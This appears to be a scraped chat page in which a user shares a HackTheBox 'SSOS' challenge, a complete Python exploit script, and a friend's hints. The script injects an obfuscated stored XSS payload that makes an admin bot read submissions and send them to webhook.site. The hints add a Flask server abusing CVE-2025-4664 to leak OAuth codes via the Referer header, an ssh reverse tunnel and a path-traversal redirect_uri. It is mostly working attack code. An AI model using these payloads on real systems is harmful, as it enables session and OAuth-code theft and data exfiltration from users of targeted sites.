SSOS challenge Medium target host and ip 154...
創建於:2026年5月11日
使用 GPT-5.5 Thinking 回答 Chat01
創建於:2026年5月11日
使用 GPT-5.5 Thinking 回答 Chat01
SSOS challenge
Medium
target host and ip 154.57.164.81:30995
Difficulty Distribution Chart
A bar chart representing the number of votes per difficulty level.
User-Rated Difficulty
Target Host
Challenge Scenario
Homework? Never heard of her. Let's dance.
add this to etc/host file 154.57.164.81 edulearn.htb sso.edulearn.htb
i tried this and got no flag yet but perhaps bore is better and easyer
/////////////////
#!/usr/bin/env python3
"""
HTB SSOS Challenge - Automated Exploit (Fixed)
Requirements:
pip install requests
Usage:
python ssos_exploit.py <TARGET_IP>:<PORT>
Example:
python ssos_exploit.py 154.57.164.70:32236
"""
import sys
import re
import time
import base64
import requests
from urllib.parse import urlparse
from http.cookiejar import Cookie
POLL_INTERVAL = 5
MAX_WAIT = 60
BOT_SETTLE = 2
class Exploit:
def init(self, target):
# Remove any http:// prefix if present
target = target.replace('http://', '').replace('https://', '')
self.target = target
self.tip, self.tport = target.split(':') if ':' in target else (target, '80')
self.tport = int(self.tport)
textself.sess = requests.Session() self.sess.timeout = 15 # Create webhook try: wh = requests.post("https://webhook.site/token", timeout=15).json() self.wh_id = wh["uuid"] self.wh_url = f"https://webhook.site/{self.wh_id}" except: print("[!] Could not create webhook.site token. Using a placeholder.") self.wh_id = "YOUR_WEBHOOK_ID" self.wh_url = "https://webhook.site/YOUR_WEBHOOK_ID" # Route requests through the target IP with correct virtual-host headers def _req(self, method, vhost_url, **kwargs): p = urlparse(vhost_url) # Construct the real URL to the target IP real_url = f"http://{self.tip}:{self.tport}{p.path}" + (f"?{p.query}" if p.query else "") headers = kwargs.pop("headers", {}) headers["Host"] = p.netloc fn = self.sess.get if method == "GET" else self.sess.post print(f"[DEBUG] Request to: {real_url} with Host: {p.netloc}") try: return fn(real_url, headers=headers, allow_redirects=False, **kwargs) except requests.exceptions.ConnectionError as e: print(f"[ERROR] Connection failed: {e}") print(f"[ERROR] Tried to connect to {real_url}") raise def _set_cookie(self, name, value): self.sess.cookies.set_cookie( Cookie(0, name, value, None, False, self.tip, True, False, "/", True, False, None, True, None, None, {}, False) ) # Follow redirect chain manually def _follow(self, resp): while resp.status_code in (301, 302, 303, 307, 308): loc = resp.headers["Location"] if loc.startswith("/"): loc = f"http://edulearn.htb:{self.tport}{loc}" elif not loc.startswith("http"): loc = f"http://edulearn.htb:{self.tport}/{loc}" resp = self._req("GET", loc) return resp # Register on SSO, login, and complete the OAuth flow on EduLearn def authenticate(self): ts = int(time.time()) email = f"pwn{ts}@exploit.htb" password = "Exploit123!" print(f"[1] Registering {email} on SSO ...") r = self._req("POST", f"http://sso.edulearn.htb:{self.tport}/api/register", json={"email": email, "name": "pwn", "password": password}) if r.status_code != 200: print(f"[!] Registration returned {r.status_code}") if r.status_code == 409: print("[!] User might already exist, continuing...") else: sys.exit("[-] Registration failed") print("[1] Logging in on SSO ...") r = self._req("POST", f"http://sso.edulearn.htb:{self.tport}/api/login", json={"email": email, "password": password}) if r.status_code != 200: sys.exit("[-] Login failed") token = r.json()["token"] self._set_cookie("token", token) print("[2] Completing OAuth flow on EduLearn ...") r = self._req("GET", f"http://edulearn.htb:{self.tport}/auth") if r.status_code in (301, 302): r = self._req("GET", r.headers["Location"]) if r.status_code == 200: # Extract form parameters ci = re.search(r'name="client_id"[^>]*value="([^"]*)"', r.text) sc = re.search(r'name="scope"[^>]*value="([^"]*)"', r.text) ri = re.search(r'name="redirect_uri"[^>]*value="([^"]*)"', r.text) st_m = re.search(r'name="state"[^>]*value="([^"]*)"', r.text) if not all([ci, sc, ri]): print("[!] Could not extract OAuth parameters") return r.text ci = ci.group(1) sc = sc.group(1) ri = ri.group(1) st = st_m.group(1) if st_m else "" r = self._req("POST", f"http://sso.edulearn.htb:{self.tport}/oauth/authorize", data={"client_id": ci, "scope": sc, "redirect_uri": ri, "state": st, "approved": "true"}) r = self._follow(r) ok = r.status_code == 200 print(f"[2] Authenticated on EduLearn: {ok}") if not ok: print("[!] Authentication failed, but continuing anyway...") return r.text # Inject stored XSS via the unsanitized reactions emoji API def inject_xss(self, index_html): aids = list(set(re.findall(r'/assignment/(\d+)', index_html))) if not aids: print("[!] No assignments found on the index page") return print(f"[3] Found {len(aids)} assignment(s): {', '.join(aids)}") js_code = f"""
(async function(){{
var wh = "{self.wh_url}";
try {{
var r = await fetch("/");
var t = await r.text();
var aids = [...t.matchAll(/\/assignment\/(\d+)/g)].map(m=>m[1]);
aids = [...new Set(aids)];
for (var i = 0; i < aids.length; i++) {{
var r2 = await fetch("/assignment/" + aids[i]);
var t2 = await r2.text();
var sids = [...t2.matchAll(/\/submission\/(\d+)/g)].map(m=>m[1]);
sids = [...new Set(sids)];
for (var j = 0; j < sids.length; j++) {{
var r3 = await fetch("/submission/" + sids[j]);
var t3 = await r3.text();
if (t3.includes("HTB")) {{
var flag = t3.substring(t3.indexOf("HTB"), t3.indexOf("HTB") + 100);
await fetch(wh + "?flag=" + encodeURIComponent(flag));
}}
}}
}}
await fetch(wh + "?done=1");
}} catch(e) {{
await fetch(wh + "?err=" + encodeURIComponent(e.toString()));
}}
}})();
"""
js_b64 = base64.b64encode(js_code.encode()).decode()
xss_tag = f'<img src=x onerror="eval(atob(\'{js_b64}\'))">'
textprint(f"[3] Injecting XSS reaction on each assignment ...") for aid in aids: r = self._req("POST", f"http://edulearn.htb:{self.tport}/api/reactions/{aid}", json={"emoji": xss_tag}) status = "OK" if r.status_code == 200 else f"FAIL ({r.status_code})" print(f" [{'+' if r.status_code==200 else '-'}] Reaction on {aid}: {status}") # Send the teacher bot to the index page def trigger_bot(self): print("[4] Sending bot to http://edulearn.htb:1337/ ...") r = self._req("POST", f"http://edulearn.htb:{self.tport}/submit-url", data={"url": "http://edulearn.htb:1337/"}) if r.status_code in (200, 302): print("[4] Bot dispatched successfully") else: print(f"[4] Warning: submit-url returned {r.status_code}") # Poll the webhook until the flag arrives def poll_flag(self): if self.wh_id == "YOUR_WEBHOOK_ID": print("[5] No valid webhook configured. Check manually.") return "" print(f"[5] Polling webhook for flag (max {MAX_WAIT}s) ...") deadline = time.time() + MAX_WAIT time.sleep(BOT_SETTLE) while time.time() < deadline: try: wr = requests.get( f"https://webhook.site/token/{self.wh_id}/requests?sorting=newest", timeout=15 ).json() for entry in wr.get("data", []): query = entry.get("query", {}) if isinstance(query, str): # Parse query string if it's a string import urllib.parse query = urllib.parse.parse_qs(query) query = {k: v[0] if v else '' for k, v in query.items()} if "flag" in query: flag = query["flag"] if isinstance(flag, list): flag = flag[0] m = re.search(r'(HTB\{[^}]+\})', flag) return m.group(1) if m else flag if "err" in query: err = query["err"] if isinstance(query["err"], str) else query["err"][0] print(f" [!] JS error from bot: {err}") remaining = int(deadline - time.time()) if remaining > 0: print(f" ... waiting ({remaining}s left)") time.sleep(POLL_INTERVAL) else: break except Exception as e: print(f" [!] Error polling webhook: {e}") time.sleep(POLL_INTERVAL) return ""
def main():
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <TARGET_IP:PORT>")
print(f" e.g. python {sys.argv[0]} 154.57.164.70:32236")
print(f" e.g. python {sys.argv[0]} http://154.57.164.70:32236")
sys.exit(1)
texttarget = sys.argv[1] print(f"{'='*60}") print(f" HTB SSOS - Automated Exploit (Fixed)") print(f" Target: {target}") print(f"{'='*60}\n") try: exploit = Exploit(target) print(f"[*] Webhook: {exploit.wh_url}\n") index_html = exploit.authenticate() exploit.inject_xss(index_html) exploit.trigger_bot() flag = exploit.poll_flag() print() if flag: print(f"{'='*60}") print(f" FLAG: {flag}") print(f"{'='*60}") else: print("[-] Flag not received. Check webhook manually:") print(f" https://webhook.site/#!/view/{exploit.wh_id}") except KeyboardInterrupt: print("\n[!] Interrupted by user") sys.exit(1) except Exception as e: print(f"\n[!] Error: {e}") import traceback traceback.print_exc() sys.exit(1)
if name == "main":
main()
//////////////////////////
also i got these hints from friend but i do not know if they are usefull
update etc/host with good ip
update all urls and word reachable urls
SSO Host: sso.edulearn.htb:32293
Client Host: edulearn.htb:32293
tip from friend. do not know if usefull
ssh -R 80:localhost:9000 [email protected]
CVE-2025-4664
observxr
— 2/19/26, 1:05 PM
from flask import Flask, request
from flask import make_response
import logging
log = logging.getLogger('werkzeug')
log.disabled = True
app = Flask(name)
@app.route('/image')
def image():
"""
1x1 PNG that sets a Link header pointing to /log with
referrerpolicy=unsafe-url - this triggers CVE-2025-4664.
"""
png = (b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01'
b'\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\xf8\x0f'
b'\x00\x01\x01\x01\x00\x18\xdd\x03\xdb\x00\x00\x00\x00IEND\xaeB`\x82')
resp = make_response(png)
resp.headers['Content-Type'] = 'image/png'
resp.headers['Link'] = (
'http://<YOUR_IP/log>; rel="preload"; as="image"; '
'referrerpolicy="unsafe-url"'
)
return resp
@app.route('/log')
def log():
print('\n➡️ Referer via Link-preload:', request.headers.get('Referer'))
return 'logged', 200
if name == 'main':
app.run(host='0.0.0.0', port=9000, debug=False)
Host the endpoint and then add it to your avatar url , submit an assignment and then send the bot the URL - http://sso.edulearn.htb:1337/oauth/authorize?response_type=code&client_id=1a2abb8b-9bb5-4463-8f74-d7b129bb7040&scope=email%20name&redirect_uri=http://edulearn.htb:1337/oauth/callback/../../submission/<SUBMISSION_ID>
get the code for the referer, and login at /oauth/callback?code=<TEACHER_CODE>
try get the flag i tried so much already